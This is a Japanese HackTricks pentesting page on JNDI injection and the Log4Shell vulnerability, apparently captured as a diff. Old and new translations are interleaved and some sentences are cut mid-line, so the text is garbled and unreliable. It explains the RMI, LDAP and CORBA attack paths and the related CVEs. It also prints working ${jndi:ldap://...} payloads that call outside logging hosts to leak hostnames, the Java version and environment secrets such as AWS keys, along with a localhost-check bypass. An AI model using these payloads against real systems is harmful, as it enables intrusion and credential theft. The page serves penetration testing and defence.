<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFで**ダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう - [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。

View file

@ -4,42 +4,50 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本情報 ## 基本情報
JNDIは1990年代後半からJavaに存在しています。これは、**名前サービスを使用してディレクトリを介してデータを検索するためのJavaプログラムを可能にするディレクトリサービス**です。名前サービスは値(バインディング)を関連付けるため、ディレクトリ内の参照を介して取得できます。 JNDIは1990年代後半からJavaに存在しています。これは、**名前サービスを使用してディレクトリを介してデータを見つけるためのJavaプログラムを可能にするディレクトリサービス**です。名前サービスは値(バインディング)を関連付けるため、ディレクトリ内の参照を介して取得できます。
JNDIには、さまざまなディレクトリサービスを使用するための**サービスプロバイダインタフェースSPI**があります。 JNDIの目標は、他のシステムからデータを非常に簡単に取得することです。さらに、リモートでJavaオブジェクトを取得することもできますが、そこで問題が発生します。 JNDIには、さまざまなディレクトリサービスを使用するための**サービスプロバイダインターフェースSPI**があります。JNDIの目的は、他のシステムからデータを非常に簡単に取得することです。さらに、Javaオブジェクトをリモートで取得することもできますが、そこで問題が発生します。
たとえば、**CORBA COS**Common Object Service、**Java RMI**Remote Method Interfaceレジストリ、**LDAP**にはSPIが存在します。 たとえば、**CORBA COS**Common Object Service、**Java RMI**Remote Method Interfaceレジストリ、**LDAP**には、それぞれSPIが存在します。
![](<../../.gitbook/assets/image (627).png>) ![](<../../.gitbook/assets/image (627).png>)
### JNDI Naming Reference ### JNDI Naming Reference
Javaオブジェクトをシリアライズしてバイナリ表現を保存することで、Javaオブジェクトを取得することができます。ただし、これが機能しない場合もあります(データが大きすぎる場合など)。\ Javaオブジェクトを取得するためには、それらをシリアライズしてバイナリ表現を保存することができます。ただし、これが機能しない場合もあります(データが大きすぎるためなど)。\
Javaオブジェクトをより簡単に保存するために、**Naming References**が使用されます。\ Javaオブジェクトをより簡単に保存するために、**Naming References**が使用されます。\
2つのタイプのNaming Referencesがあります。 Naming Referencesには2つのタイプがあります。
* **Reference Addresses**これはオブジェクトのアドレスを示します_rmi://server/ref_。その後、**そのアドレスからオブジェクトが取得**されます。 * **Reference Addresses**これはオブジェクトのアドレスを示します_rmi://server/ref_。その後、**そのアドレスからオブジェクトが取得**されます。
* **Remote Factory**この場合、JNDI参照に**リモートファクトリクラス**が指定されます。その後、JNDIアドレスに従ってリモートクラスがリモートファクトリから取得され、**クラスがダウンロードおよびロード**されます。 * **Remote Factory**この場合、JNDI参照に**リモートファクトリクラス**が指定されます。その後、JNDIアドレスに従ってリモートクラスがリモートファクトリから取得され、**クラスがダウンロードおよびロード**されます。
これは危険です。**攻撃者はシステムに任意のオブジェクトをロードし、任意のコードを実行**する可能性があるため、いくつかの保護策が存在します。 これは危険です。**攻撃者はシステムに任意のオブジェクトをロードし、任意のコードを実行**する可能性があるため、いくつかの保護策が存在します。
* **RMI**デフォルトでは`java.rmi.server.useCodeabseOnly = true`**JDK 7u21**以降)であり、それ以外の場合はカスタムJavaオブジェクトをリモートでロードできます。さらに、保護が無効になっていても、**セキュリティマネージャ**が構成されているため、ロードできるものを設定できます。 * **RMI****JDK 7u21**以降、デフォルトで`java.rmi.server.useCodeabseOnly = true`になっており、それ以外の場合はカスタムJavaオブジェクトをリモートでロードできます。さらに、保護が無効になっていても、**セキュリティマネージャ**が構成されているため、ロードできるものを設定できます。
* **LDAP**:デフォルトで`com.sun.jndi.ldap.object.trustURLCodebase = false`**JDK 6u141、7u131、8u121**以降であり、任意のJavaオブジェクトをダウンロードして実行することはできません。ただし、これを`true`に設定すると、実行できますが、**セキュリティマネージャは強制されません**。 * **LDAP****JDK 6u141、7u131、8u121**以降、デフォルトで`com.sun.jndi.ldap.object.trustURLCodebase = false`になっており、任意のJavaオブジェクトを実行できません。ただし、これを`true`に設定すると、実行でき、**セキュリティマネージャは強制されません**。
* **CORBA**:設定するプロパティはありませんが、**セキュリティマネージャは常に強制されます**。 * **CORBA**:設定するプロパティはありませんが、**セキュリティマネージャは常に強制されます**。
さらに、JNDIリンクをたどる**Naming Manager**にはセキュリティマネージャや設定するプロパティがないため、常にオブジェクトを取得しようとします。 さらに、JNDIリンクをたどる**Naming Manager**にはセキュリティマネージャや設定するプロパティがないため、常にオブジェクトを取得しようとします。
一般的に、保護策は十分ではありません。ランダムなアドレスからのJNDIのロードに対する保護はなく、RMI、LDAP、CORBAの保護策はバイパスされる可能性があります設定によるため、任意のJavaオブジェクトをロードしたり、アプリケーション内の既存のコンポーネントを悪用するためのガジェットとしてJavaオブジェクトをロードしたりすることができます。 一般的に、保護策は十分ではありません。**ランダムなアドレスからのJNDIのロードに対する保護はなく**、RMI、LDAP、CORBAの保護策はバイパスされる可能性があります設定による。これにより、任意のJavaオブジェクトをロードしたり、既存のコンポーネントを悪用して任意のコードを実行するための**ガジェットとしてJavaオブジェクトをロード**したりすることができます。
JNDIを悪用するためのURLの例 JNDIを悪用するためのURLの例
@ -52,78 +60,87 @@ JNDIを悪用するためのURLの例
![](<../../.gitbook/assets/image (655) (1) (1).png>) ![](<../../.gitbook/assets/image (655) (1) (1).png>)
**`PROVIDER_URL`**を設定していても、lookupで異なるURLを指定することができます`ctx.lookup("<attacker-controlled-url>")`。これが攻撃者が自身が制御するシステムから任意のオブジェクトをロードするために悪用する方法です。 **`PROVIDER_URL`**を設定していても、lookupで異なるURLを指定することができます`ctx.lookup("<attacker-controlled-url>")`。これが攻撃者が自身が制御するシステムから任意のオブジェクトをロードするために悪用する方法です。
### CORBA ### CORBA
**相互運用可能なオブジェクトリファレンスIOR**は、リモートCORBAサーバー上のオブジェクトを一意に識別するCORBAまたはRMI-IIOPリファレンスです。IORはバイナリ形式またはバイナリの16進数表現の文字列で存在します。\ **相互運用可能なオブジェクト参照IOR**は、CORBAまたはRMI-IIOPリファレンスであり、リモートCORBAサーバー上のオブジェクトを一意に識別します。IORはバイナリ形式またはバイナリの文字列16進数表現で存在することができます。\
その他の情報の中には、**Type ID**(インターフェースの一意の識別子)と**Codebase**(スタブクラスを取得するために使用するリモートの場所)が含まれます。\ その他の情報の中には、**タイプID**(インターフェースの一意の識別子)と**Codebase**(スタブクラスを取得するために使用されるリモートの場所)が含まれています。\
デフォルトでは、**CORBAは悪用できません**。\ なお、**デフォルトではCORBAは悪用できません**。\
次のものが必要です。 以下が必要です:
* **セキュリティマネージャをインストールする必要があります** * **セキュリティマネージャーのインストール**
* 攻撃者が制御する**コードベースへの接続をセキュリティマネージャが許可する**必要があります。これを許可するためのさまざまな方法があります。 * 攻撃者が制御する**コードベースへの接続がセキュリティマネージャーによって許可される**必要があります。これを許可するためのさまざまな方法があります:
* ソケットの許可:`permissions java.net.SocketPermission "*:1098-1099", "connect";` * ソケットの許可:`permissions java.net.SocketPermission "*:1098-1099", "connect";`
* すべてのファイルを読み取るためのファイルの許可:`permission java.io.FilePermission "<<ALL FILES>>", "read";` * すべてのファイルを読み取るためのファイルの許可:`permission java.io.FilePermission "<<ALL FILES>>", "read";`
* 攻撃者がエクスプロイトクラスまたはzipアーカイブをアップロードできるフォルダを読み取るためのファイルの許可 * 攻撃者がエクスプロイトクラスまたはZIPアーカイブをアップロードできるフォルダを読み取るためのファイルの許可
ベンダーのポリシーでは、これをデフォルトで許可している場合があります。
**デフォルトでこれを許可するベンダーのポリシー**が見つかるかもしれません。
### RMI ### RMI
前の**JNDI Naming Referenceセクションで示されているように、デフォルトではRMIは任意のJavaクラスのダウンロードを許可しません**。さらに、許可された場合でも、**セキュリティマネージャーポリシーをバイパスする必要があります**(前のセクションではこれがCORBAで可能であることを学びました 前の**JNDI Naming Referenceセクション**で示されているように、デフォルトではRMIでは**任意のJavaクラスをダウンロードすることはできません**。さらに、できたとしても、セキュリティマネージャーポリシーを**バイパスする必要があります**前のセクションではこれがCORBAで可能であることを学びました
### LDAP ### LDAP
まず、検索とルックアップを区別する必要があります。\ まず、**検索****ルックアップ**を区別する必要があります。\
**検索**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけてその属性を**取得します**。\ **検索**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけてその属性を取得します。\
**ルックアップ**は、**名前にバインドされているものを取得するためのネーミングサービス**です。 **ルックアップ**は、名前にバインドされている**何でも取得**するための**ネーミングサービス**向けです。
LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出された場合、返されたオブジェクトは再構築されます**。 LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出された場合、返されたオブジェクトは再構築されます**。
したがって、これらのオプションを攻撃する方法はいくつかあります。\ したがって、これらのオプションを攻撃する方法はいくつかあります。\
**攻撃者は、LDAPレコードにペイロードを挿入して、それらを収集するシステムで実行される**LDAPサーバーにアクセスできる場合、多数のマシンを侵害するのに非常に便利です)。これを悪用する別の方法は、例えばLDAP検索で**MitM攻撃を実行する**ことです。 **攻撃者は、LDAPレコードにペイロードを挿入してシステムで実行される**可能性があるLDAPサーバーへのアクセス権がある場合、多数のマシンを侵害するのに非常に便利です。これを悪用する別の方法は、LDAP検索で**MitM攻撃を実行する**ことです。
アプリケーションがJNDI LDAP URLを解決することができる場合、検索されるLDAPを制御でき、エクスプロイトlog4shellを送り返すことができます。 アプリケーションがJNDI LDAP URLを解決できる場合、検索されるLDAPを制御でき、エクスプロイトlog4shellを送り返すことができます。
#### シリアライゼーションエクスプロイト #### シリアライゼーションエクスプロイト
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>) ![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
**エクスプロイトはシリアライズされ、デシリアライズされます**。\ **エクスプロイトはシリアライズされ**、デシリアライズされます。\
`trustURLCodebase`が`true`の場合、攻撃者はコードベースに独自のクラスを提供できます。そうでない場合は、クラスパスのガジェットを悪用する必要があります。 `trustURLCodebase`が`true`の場合、攻撃者はコードベースに独自のクラスを提供できます。そうでない場合は、クラスパスのガジェットを悪用する必要があります。
#### JNDIリファレンスエクスプロイト #### JNDIリファレンスエクスプロイト
このLDAPを攻撃するのは**JavaFactoryリファレンス**を使用する方が簡単です このLDAPを攻撃するのは**JavaFactoryリファレンス**を使用する方が簡単です
![](<../../.gitbook/assets/image (660) (1) (1).png>) ![](<../../.gitbook/assets/image (660) (1) (1).png>)
## Log4Shell脆弱性 ## Log4Shell脆弱性
この脆弱性は、Log4jが[**特殊な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしているために導入されます。この構文は`${prefix:name}`の形式で、`prefix`はさまざまな[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきです。えば、`${java:version}`は現在実行中のJavaのバージョンです。 この脆弱性は、Log4jが[**特殊な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしているためにLog4jに導入されています。この構文は`${prefix:name}`の形式であり、`prefix`はさまざまな[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきです。たとえば、`${java:version}`は現在実行中のJavaのバージョンです。
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)では、次のように`jndi` Lookupが追加されました。「JndiLookupはJNDIを介して変数を取得することができます。デフォルトでは、キーはjava:comp/env/で接頭辞が付けられますが、キーに**":"が含まれている場合は接頭辞は追加されません**。」 [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)では、次のように`jndi` Lookupが追加されました。「JndiLookupはJNDIを介して変数を取得することを可能にします。デフォルトでは、キーは`java:comp/env/`で接頭辞が付けられますが、キーに**":"が含まれている場合は接頭辞は追加されません**。」
キーに**":"が含まれている場合、`${jndi:ldap://example.com/a}`のように、接頭辞はなくなり、LDAPサーバーがオブジェクトをクエリします。これらのLookupsは、Log4jの設定だけでなく、ログが記録されるときにも使用できます。 キーに**":"が含まれている**場合、`${jndi:ldap://example.com/a}`のように、**接頭辞はなく**、**LDAPサーバーがオブジェクトに対してクエリを実行**します。これらのLookupsは、Log4jの設定だけでなく、ログが記録されるときにも使用できます。
したがって、RCEを得るためには、**ユーザーが制御する情報を処理する脆弱なバージョンのLog4jが必要です**。そして、これはJavaアプリケーションで広く使用されているライブラリであり、HTTPヘッダーなどの受信した情報インターネットに面したアプリケーションも含むをログに記録するためにlog4jが非常に一般的であることがよくありました。ただし、log4jはHTTP情報だけでなく、開発者が指定した任意の入力とデータをログに記録するために使用されます。 したがって、**ユーザーが制御する情報を処理する脆弱なバージョンのLog4jを取得するためには、それだけが必要です**。そして、これはJavaアプリケーションが情報を記録するために広く使用されているライブラリであるためインターネットに面したアプリケーションも含まれます、log4jは例えばUser-AgentのようなHTTPヘッダーを受信したときにログを記録するために使用されるだけでなく、開発者が指定した任意の入力とデータをログに記録するために使用されます。
## Log4Shell CVE ## Log4Shell CVE
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: オリジナルの「Log4Shell」脆弱性は、[信頼されていないデシリアライゼーション](https://cwe.mitre.org/data/definitions/502.html)の欠陥です。重大度はクリティカルで、この脆弱性は[CVSS](https://www.first.org/cvss/)スケールで10点を獲得し、認証されていない攻撃者にリモートコード実行RCEの機能を与え、完全なシステム乗っ取りを可します。\ * [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: オリジナルの「Log4Shell」脆弱性は、[信頼されていないデシリアライゼーション](https://cwe.mitre.org/data/definitions/502.html)の欠陥です。重大度はクリティカルで、この脆弱性は[CVSS](https://www.first.org/cvss/)スケールで10点を獲得し、認証されていない攻撃者にリモートコード実行RCEの機能を与え、完全なシステム乗っ取りを可能にします。\
\ \
11月24日にアリババクラウドセキュリティチームのChen Zhaojun氏がApacheに報告したCVE-2021-44228は、Apache Struts2、Apache Solr、Apache Druid、Apache Flinkなど、複数のApacheフレームワークのデフォルト構成に影響を与えます。\ 11月24日にアリババクラウドセキュリティチームのChen Zhaojun氏がApacheに報告したCVE-2021-44228は、Apache Struts2、Apache Solr、Apache Druid、Apache Flinkなど、複数のApacheフレームワークのデフォルト構成に影響を与えます。\
\ \
最も危険な脆弱性であるこの脆弱性は、[log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core)コンポーネントに存在し、2.xバージョンの2.0-beta9から2.14.1までの範囲に制限されています。Log4Shellの修正はバージョン2.15.0でリリースされましたが、不完全とされました(後続の内容を参照)。\ 最も危険な脆弱性であるこの脆弱性は、[log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core)コンポーネントに存在し、2.xバージョンの2.0-beta9から2.14.1までの範囲に限定されます。Log
\_\_"Log4j 2.16.0は、メッセージのルックアップパターンのサポートを削除し、デフォルトでJNDI機能を無効にすることで、この問題を修正しています"、とNVDアドバイザリーは述べています。2.12.1ブランチのユーザーには、修正が2.12.2にバックポートされました。\\
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Log4j 2.xのバージョンが脆弱であると言いましたが、**Log4j 1.x**はどうでしょうか?\
\ \
脅威インテリジェンスアナリストのFlorian Roth氏は、防御策の1つとして使用できるSigmaルール\[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)]を共有しています。\\ 以前は安全と考えられていたLog4j 1.xにもLog4Shellが潜む方法が見つかりました。具体的には、**\_JMSAppender**\_\*\*クラスを使用したLog4j 1.xインスタンスの非デフォルトの設定も、信頼できない逆シリアル化の欠陥に対して脆弱になります。\*\*\
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**、以前はLow]: これはDoSサービス拒否の欠陥で、3.7から9.0にスコアリングされます。この欠陥は、CVE-2021-44228の2.15.0への不完全な修正の結果として発生しました。2.15.0への修正は、欠陥をほとんど解決しましたが、**非デフォルトの構成**には当てはまりませんでした。\
\ \
Log4j 2.15.0は、デフォルトでJNDI LDAPルックアップを\_localhostに制限するための「ベストエフォート」を行います。ただし、**スレッドコンテキストマップMDCの入力データを制御できる攻撃者**は、JNDIルックアップパターンを介して悪意のあるペイロードを作成してDoS攻撃を引き起こすことができます。これは、非デフォルトの構成で、コンテキストル CVE-2021-44228のより軽度なバリエーションですが、これは[log4j:log4j](https://search.maven.org/artifact/log4j/log4j)および[org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j)コンポーネントのすべてのバージョンに影響します。これらは[エンドオブライフ](https://logging.apache.org/log4j/1.2/)のバージョンであり、**1.xブランチの修正はどこにも存在しないため**、_log4j-core_ 2.17.0にアップグレードする必要がありますおそらく1.0は脆弱ではありません)。\\
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** これは**Logbackログフレームワーク**の脆弱性です。Log4j 1.xライブラリの後継であるLogbackは、「log4j 1.xの続きから始まる」と主張しています。\
\
先週までは、Logbackも「log4j 2.xとは関係なく、その脆弱性を共有しない」と[自慢していました](https://archive.md/QkzIy)。\
\
しかし、**CVE-2021-4104**がLog4j 1.xにも影響を与えることが判明し、Logbackへの潜在的な影響が[評価されました](https://jira.qos.ch/browse/LOGBACK-1591)。この軽度な脆弱性に対処するために、新しいLogbackバージョンである1.3.0-alpha11と1.2.9が[リリースされました](https://search.maven.org/artifact/ch.qos.logback/logback-classic)。\\
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0**は、DoSの脆弱性に対して「High」と評価されました。Apacheは後に、このCVEを修正するlog4j 2.17.0バージョンを**リリースしました**。この開発の詳細については、BleepingComputerの[最新のレポート](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)で提供されています。
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): この新しいCVEは、log4jのバージョン2.17に影響を与えます。この脆弱性は、log4jの設定ファイルを制御する攻撃者が必要であり、設定されたJDBCAppenderでJDNI URLを指定することが可能です。この脆弱性と攻撃についての情報は、[**こちらの情報**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)を参照してください。
## Log4Shellの悪用 ## Log4Shellの悪用
### 発見 ### 発見
この脆弱性は非常に簡単に発見できます。なぜなら、ペイロードで指定したアドレスに少なくとも**DNSリクエスト**が送信されるからです。したがって、以下のようなペイロードがあります。 この脆弱性は非常に簡単に発見できます。なぜなら、ペイロードで指定したアドレスに対して少なくとも**DNSリクエスト**が送信されるからです。したがって、次のようなペイロードがあります:
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`[canarytokens.com](https://canarytokens.org/generate)を使用) * `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`[canarytokens.com](https://canarytokens.org/generate)を使用)
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`[interactsh](https://github.com/projectdiscovery/interactsh)を使用) * `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`[interactsh](https://github.com/projectdiscovery/interactsh)を使用)
@ -131,7 +148,7 @@ Log4j 2.15.0は、デフォルトでJNDI LDAPルックアップを\_localhostに
* `${jndi:ldap://2j4ayo.dnslog.cn}`[dnslog](http://dnslog.cn)を使用) * `${jndi:ldap://2j4ayo.dnslog.cn}`[dnslog](http://dnslog.cn)を使用)
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`[huntress](https://log4shell.huntress.com)を使用) * `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`[huntress](https://log4shell.huntress.com)を使用)
**DNSリクエストが受信されたからといって、アプリケーションが悪用可能**(または脆弱性がある)であるということではありません。悪用を試みる必要があります。 **DNSリクエストが受信されたからといって、アプリケーションが悪用可能**(または脆弱)であるということではありません。悪用を試みる必要があります。
{% hint style="info" %} {% hint style="info" %}
バージョン2.15を**悪用するには、localhostのチェックバイパス**を追加する必要があります:${jndi:ldap://**127.0.0.1#**...} バージョン2.15を**悪用するには、localhostのチェックバイパス**を追加する必要があります:${jndi:ldap://**127.0.0.1#**...}
@ -139,22 +156,22 @@ Log4j 2.15.0は、デフォルトでJNDI LDAPルックアップを\_localhostに
#### **ローカルの発見** #### **ローカルの発見**
次のコマンドで、ライブラリの**ローカルの脆弱なバージョン**を検索します。 次のコマンドを使用して、ライブラリの**ローカルの脆弱なバージョン**を検索します:
```bash ```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
``` ```
### **検証** ### **検証**
以前にリストアップされたいくつかのプラットフォームでは、要求されたときにログに記録される変数データを挿入することができます。\ 以前にリストアップされたいくつかのプラットフォームでは、リクエスト時にログに記録される変数データを挿入することができます。\
これは2つのことに非常に役立ちます。 これは2つのことに非常に役立ちます。
* 脆弱性を**検証**するため * 脆弱性を**検証**するため
* 脆弱性を悪用して情報を**外部流出**するため * 脆弱性を悪用して情報を**外部流出**するため
例えば、次のようなリクエストを送信することができます:\ 例えば、次のようなリクエストを送信することができます:\
`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** と、もし環境変数の値を含む**DNSリクエストが受信された場合**、アプリケーションは脆弱性があることがわかります。 `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** ともし環境変数の値がDNSリクエストで受信された場合、アプリケーションは脆弱性があることがわかります。
他にも漏洩させることができる情報は以下の通りです: 他にも漏洩を試みることができる情報は以下の通りです:
``` ```
${env:AWS_ACCESS_KEY_ID} ${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE} ${env:AWS_CONFIG_FILE}
@ -208,17 +225,17 @@ Any other env variable name that could store sensitive information
### RCE情報 ### RCE情報
{% hint style="info" %} {% hint style="info" %}
**JDKのバージョンが6u141、7u131、8u121よりも高いホストは、LDAPクラスの読み込みベクトルに対して保護されますが、逆シリアル化ベクトルには保護されません**。これは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで無効化されているため、JNDIがLDAPを使用してリモートコードベースを読み込むことができないためです。ただし、逆シリアル化と変数の漏洩は引き続き可能です。\ **JDKのバージョンが6u141、7u131、8u121よりも高いホストは、LDAPクラスの読み込みベクトルに対して保護されますが、逆シリアル化ベクトルには保護されません**。これは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで無効化されているため、JNDIがLDAPを使用してリモートコードベースを読み込むことができないためです。ただし、逆シリアル化と変数の漏洩は依然として可能です。\
